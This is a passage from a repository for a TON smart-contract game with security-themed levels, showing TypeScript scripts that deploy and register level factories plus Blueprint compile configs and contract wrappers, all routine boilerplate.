ScannerLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await scannerLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(scannerLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "scanner", 38 | factory: scannerLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerSeedLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { SeedLevelFactory } from "../wrappers/SeedLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const seedLevelFactory = provider.open( 14 | await SeedLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("SeedLevel"), 17 | ), 18 | ) 19 | 20 | await seedLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(seedLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "seed", 41 | factory: seedLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerSwapLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { SwapLevelFactory } from "../wrappers/SwapLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const swapLevelFactory = provider.open( 14 | await SwapLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await swapLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(swapLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "swap", 38 | factory: swapLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerTokenLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { TokenLevelFactory } from "../wrappers/TokenLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const tokenLevelFactory = provider.open( 14 | await TokenLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("TokenLevel"), 17 | ), 18 | ) 19 | 20 | await tokenLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(tokenLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "token", 41 | factory: tokenLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerTolkLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { TolkLevelFactory } from "../wrappers/TolkLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const tolkLevelFactory = provider.open( 14 | await TolkLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("TolkLevel"), 17 | ), 18 | ) 19 | 20 | await tolkLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(tolkLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "tolk", 41 | factory: tolkLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerUpgradeLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { UpgradeLevelFactory } from "../wrappers/UpgradeLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const upgradeLevelFactory = provider.open( 14 | await UpgradeLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("UpgradeLevel"), 17 | ), 18 | ) 19 | 20 | await upgradeLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(upgradeLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "upgrade", 41 | factory: upgradeLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2020", 4 | "outDir": "dist", 5 | "module": "commonjs", 6 | "declaration": true, 7 | "esModuleInterop": true, 8 | "forceConsistentCasingInFileNames": true, 9 | "strict": true, 10 | "skipLibCheck": true 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/AccessLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "func", 5 | targets: ["contracts/levels/access_level.fc"], 6 | } 7 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/AccessLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/access_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/AccessLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/AccessLevelFactory/tact_AccessLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BounceLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/bounce_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BounceLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/BounceLevel/tact_BounceLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BounceLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/bounce_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BounceLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/BounceLevelFactory/tact_BounceLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BruteforceLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/bruteforce_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BruteforceLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/BruteforceLevel/tact_BruteforceLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BruteforceLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/bruteforce_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/BruteforceLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/BruteforceLevelFactory/tact_BruteforceLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/CoinLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/coin_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/CoinLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/CoinLevel/tact_CoinLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/CoinLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/coin_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/CoinLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/CoinLevelFactory/tact_CoinLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DepositLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/deposit_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DepositLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/DepositLevel/tact_DepositLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DepositLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/deposit_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DepositLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/DepositLevelFactory/tact_DepositLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DonateLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "func", 5 | targets: ["contracts/levels/donate_level.fc"], 6 | } 7 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DonateLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/donate_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/DonateLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/DonateLevelFactory/tact_DonateLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/execution_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionLevel.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type ExecutionLevelConfig = { 13 | player: Address 14 | nonce: bigint 15 | } 16 | 17 | export function executionLevelConfigToCell(config: ExecutionLevelConfig): Cell { 18 | return beginCell() 19 | .storeAddress(config.player) 20 | .storeUint(config.nonce, 32) 21 | .endCell() 22 | } 23 | 24 | export class ExecutionLevel implements Contract { 25 | constructor( 26 | readonly address: Address, 27 | readonly init?: { code: Cell; data: Cell }, 28 | ) {} 29 | 30 | static createFromAddress(address: Address) { 31 | return new ExecutionLevel(address) 32 | } 33 | 34 | static createFromConfig( 35 | config: ExecutionLevelConfig, 36 | code: Cell, 37 | workchain = 0, 38 | ) { 39 | const data = executionLevelConfigToCell(config) 40 | const init = { code, data } 41 | return new ExecutionLevel(contractAddress(workchain, init), init) 42 | } 43 | 44 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 45 | await provider.internal(via, { 46 | value, 47 | sendMode: SendMode.PAY_GAS_SEPARATELY, 48 | body: beginCell().endCell(), 49 | }) 50 | } 51 | 52 | async send( 53 | provider: ContractProvider, 54 | via: Sender, 55 | body: Cell, 56 | value: bigint, 57 | ) { 58 | await provider.internal(via, { 59 | value, 60 | sendMode: SendMode.PAY_GAS_SEPARATELY, 61 | body, 62 | }) 63 | } 64 | 65 | async getBalance(provider: ContractProvider) { 66 | const { stack } = await provider.get("balance", []) 67 | return stack.readBigNumber() 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/execution_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/ExecutionLevelFactory/tact_ExecutionLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionSolution.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/solutions/execution_solution.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ExecutionSolution.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type ExecutionSolutionConfig = {} 13 | 14 | export function executionSolutionConfigToCell( 15 | config: ExecutionSolutionConfig, 16 | ): Cell { 17 | return beginCell().endCell() 18 | } 19 | 20 | export class ExecutionSolution implements Contract { 21 | constructor( 22 | readonly address: Address, 23 | readonly init?: { code: Cell; data: Cell }, 24 | ) {} 25 | 26 | static createFromAddress(address: Address) { 27 | return new ExecutionSolution(address) 28 | } 29 | 30 | static createFromConfig( 31 | config: ExecutionSolutionConfig, 32 | code: Cell, 33 | workchain = 0, 34 | ) { 35 | const data = executionSolutionConfigToCell(config) 36 | const init = { code, data } 37 | return new ExecutionSolution(contractAddress(workchain, init), init) 38 | } 39 | 40 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 41 | await provider.internal(via, { 42 | value, 43 | sendMode: SendMode.PAY_GAS_SEPARATELY, 44 | body: beginCell().endCell(), 45 | }) 46 | } 47 | 48 | async send( 49 | provider: ContractProvider, 50 | via: Sender, 51 | body: Cell, 52 | value: bigint, 53 | ) { 54 | await provider.internal(via, { 55 | sendMode: SendMode.PAY_GAS_SEPARATELY, 56 | body, 57 | value: value, 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GameManager.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/game_manager.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GameManager.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/GameManager/tact_GameManager" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GatekeeperLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/gatekeeper_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GatekeeperLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/GatekeeperLevel/tact_GatekeeperLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GatekeeperLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/gatekeeper_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/GatekeeperLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/GatekeeperLevelFactory/tact_GatekeeperLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntroductionLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/introduction_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntroductionLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/IntroductionLevel/tact_IntroductionLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntroductionLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/introduction_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntroductionLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/IntroductionLevelFactory/tact_IntroductionLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntruderLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/intruder_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntruderLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/IntruderLevel/tact_IntruderLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntruderLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/intruder_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntruderLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/IntruderLevelFactory/tact_IntruderLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/IntruderManager.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/IntruderLevel/tact_Manager" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/JackpotLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "func", 5 | targets: ["contracts/levels/jackpot_level.fc"], 6 | } 7 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/JackpotLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/jackpot_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/JackpotLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/JackpotLevelFactory/tact_JackpotLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/Leaderboard.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from '@ton/blueprint'; 2 | 3 | export const compile: CompilerConfig = { 4 | lang: 'tact', 5 | target: 'contracts/leaderboard.tact', 6 | options: { 7 | debug: true, 8 | }, 9 | }; 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/Leaderboard.ts: -------------------------------------------------------------------------------- 1 | export * from '../build/Leaderboard/tact_Leaderboard'; 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/LogicalLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/logical_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/LogicalLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/logical_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/LogicalLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/LogicalLevelFactory/tact_LogicalLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/LogicalSolution.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/solutions/logical_solution.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/LogicalSolution.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type LogicalSolutionConfig = {} 13 | 14 | export function logicalSolutionConfigToCell( 15 | config: LogicalSolutionConfig, 16 | ): Cell { 17 | return beginCell().endCell() 18 | } 19 | 20 | export class LogicalSolution implements Contract { 21 | constructor( 22 | readonly address: Address, 23 | readonly init?: { code: Cell; data: Cell }, 24 | ) {} 25 | 26 | static createFromAddress(address: Address) { 27 | return new LogicalSolution(address) 28 | } 29 | 30 | static createFromConfig( 31 | config: LogicalSolutionConfig, 32 | code: Cell, 33 | workchain = 0, 34 | ) { 35 | const data = logicalSolutionConfigToCell(config) 36 | const init = { code, data } 37 | return new LogicalSolution(contractAddress(workchain, init), init) 38 | } 39 | 40 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 41 | await provider.internal(via, { 42 | value, 43 | sendMode: SendMode.PAY_GAS_SEPARATELY, 44 | body: beginCell().endCell(), 45 | }) 46 | } 47 | 48 | async send( 49 | provider: ContractProvider, 50 | via: Sender, 51 | body: Cell, 52 | value: bigint, 53 | ) { 54 | await provider.internal(via, { 55 | sendMode: SendMode.PAY_GAS_SEPARATELY, 56 | body, 57 | value: value, 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PartialLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/partial_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PartialLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/PartialLevel/tact_PartialLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PartialLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/partial_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PartialLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/PartialLevelFactory/tact_PartialLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PeekLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/peek_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PeekLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/PeekLevel/tact_PeekLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PeekLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/peek_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PeekLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/PeekLevelFactory/tact_PeekLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PlayerStats.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/player_stats.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/PlayerStats.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/PlayerStats/tact_PlayerStats" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ProxyLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/proxy_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ProxyLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/proxy_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ProxyLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/ProxyLevelFactory/tact_ProxyLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/RewardSBT.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/reward_sbt.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/RewardSBTCollection.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/RewardSBT/tact_RewardSBTCollection" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ScannerChild.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/ScannerLevel/tact_Child" 2 | 